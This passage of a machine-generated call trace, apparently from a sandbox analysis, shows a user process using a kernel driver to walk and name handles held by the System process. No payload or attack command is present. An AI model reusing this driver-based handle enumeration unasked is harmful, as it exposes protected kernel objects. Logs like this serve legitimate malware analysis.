returned 0x105 [0063.513] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.513] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0063.513] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.513] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.513] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.513] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.513] PsAcquireProcessExitSynchronization () returned 0x0 [0063.513] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.513] ObReferenceObjectByHandle (in: Handle=0xffffffff800002a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0063.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.513] PsReleaseProcessExitSynchronization () returned 0x2 [0063.513] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.513] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.513] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0063.513] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.513] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.513] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0063.513] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.513] PsAcquireProcessExitSynchronization () returned 0x0 [0063.513] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.513] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0063.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.513] PsReleaseProcessExitSynchronization () returned 0x2 [0063.513] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.513] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.514] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0063.514] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.514] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.514] PsAcquireProcessExitSynchronization () returned 0x0 [0063.514] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.514] ObReferenceObjectByHandle (in: Handle=0xffffffff800002bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800254af20, HandleInformation=0x0) returned 0x0 [0063.514] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.514] PsReleaseProcessExitSynchronization () returned 0x2 [0063.514] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.514] ObQueryNameString (in: Object=0xfffffa800254af20, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.514] ObfDereferenceObject (Object=0xfffffa800254af20) returned 0x2 [0063.514] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0063.514] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.514] PsAcquireProcessExitSynchronization () returned 0x0 [0063.514] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.514] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0063.514] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.514] PsReleaseProcessExitSynchronization () returned 0x2 [0063.514] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.514] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.514] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0063.514] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0063.515] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.515] PsAcquireProcessExitSynchronization () returned 0x0 [0063.515] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.515] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0063.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.515] PsReleaseProcessExitSynchronization () returned 0x2 [0063.515] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.515] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.515] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0063.515] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.515] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.515] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0063.515] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.515] PsAcquireProcessExitSynchronization () returned 0x0 [0063.515] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.515] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0063.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.515] PsReleaseProcessExitSynchronization () returned 0x2 [0063.515] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.515] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa80038e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.515] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0063.515] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.515] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.515] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0063.515] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.515] PsAcquireProcessExitSynchronization () returned 0x0 [0063.515] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.515] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0063.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.515] PsReleaseProcessExitSynchronization () returned 0x2 [0063.515] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.515] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.516] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0063.516] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.516] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0063.516] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.516] PsAcquireProcessExitSynchronization () returned 0x0 [0063.516] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.516] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0063.516] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.516] PsReleaseProcessExitSynchronization () returned 0x2 [0063.516] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.516] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.516] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0063.516] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.516] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0063.516] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.516] PsAcquireProcessExitSynchronization () returned 0x0 [0063.516] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.516] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0063.516] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.516] PsReleaseProcessExitSynchronization () returned 0x2 [0063.516] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.516] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.516] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0063.516] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.516] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.516] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.516] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.517] PsAcquireProcessExitSynchronization () returned 0x0 [0063.517] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.517] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0063.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.517] PsReleaseProcessExitSynchronization () returned 0x2 [0063.517] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.517] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.517] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0063.517] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.517] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.517] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.517] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.517] PsAcquireProcessExitSynchronization () returned 0x0 [0063.517] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.517] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0063.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.517] PsReleaseProcessExitSynchronization () returned 0x2 [0063.517] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.517] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.517] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0063.517] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.517] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.517] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0063.517] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.517] PsAcquireProcessExitSynchronization () returned 0x0 [0063.517] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.517] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0063.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.517] PsReleaseProcessExitSynchronization () returned 0x2 [0063.517] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.518] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0063.518] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0063.518] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.518] PsAcquireProcessExitSynchronization () returned 0x0 [0063.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.518] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0063.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.518] PsReleaseProcessExitSynchronization () returned 0x2 [0063.518] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.518] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.518] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0063.518] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0063.518] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.518] PsAcquireProcessExitSynchronization () returned 0x0 [0063.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.518] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0063.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.518] PsReleaseProcessExitSynchronization () returned 0x2 [0063.518] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.518] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.518] ObfDereferenceObject (Object=0xfffffa80030f28a0) returned 0x1 [0063.518] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0063.518] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.519] PsAcquireProcessExitSynchronization () returned 0x0 [0063.519] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.519] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0063.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.519] PsReleaseProcessExitSynchronization () returned 0x2 [0063.519] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.519] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.519] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0063.519] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, 